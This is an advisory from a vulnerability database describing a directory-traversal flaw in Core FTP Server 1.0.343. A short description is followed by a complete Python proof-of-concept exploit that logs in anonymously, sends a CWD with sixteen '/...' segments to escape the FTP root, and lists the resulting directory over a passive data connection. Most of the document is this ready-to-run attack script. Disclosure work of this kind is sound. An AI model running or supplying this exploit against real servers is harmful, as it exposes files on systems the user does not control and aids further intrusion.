source: https://www.securityfocus.com/bid/40422/info

Core FTP Server is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

Core FTP Server 1.0.343 is vulnerable; other versions may also be affected. 

import sys, socket, re

host = 'localhost'
port = 21
user = 'anonymous'
password = 'a'

buffer_size = 8192
timeout = 8

def recv(s):
    resp = ''

    while 1:
        r = s.recv(buffer_size)
        if not r: break
        resp += r

    return resp

def list_root():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.settimeout(timeout)

        print s.recv(buffer_size)            

        s.send('USER ' + user + '\r\n')                   
        print s.recv(buffer_size)            

        s.send('PASS ' + password + '\r\n')               
        print s.recv(buffer_size) + s.recv(buffer_size)

        s.send('CWD ' + '/...' * 16 + '\r\n')

        resp = s.recv(buffer_size)

        print resp
        
        if resp[:3] == '250':
            s.send('PASV\r\n')                                   
            resp =  s.recv(buffer_size)

            print resp
            
            pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)

            if (pasv_info == None):
                print 'Invalid PASV response: ' + resp
                return            

            s.send('LIST\r\n')            

            s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))
            s2.settimeout(timeout)           

            print recv(s2)

        s.close()

    except Exception:        
        print sys.exc_info()

list_root()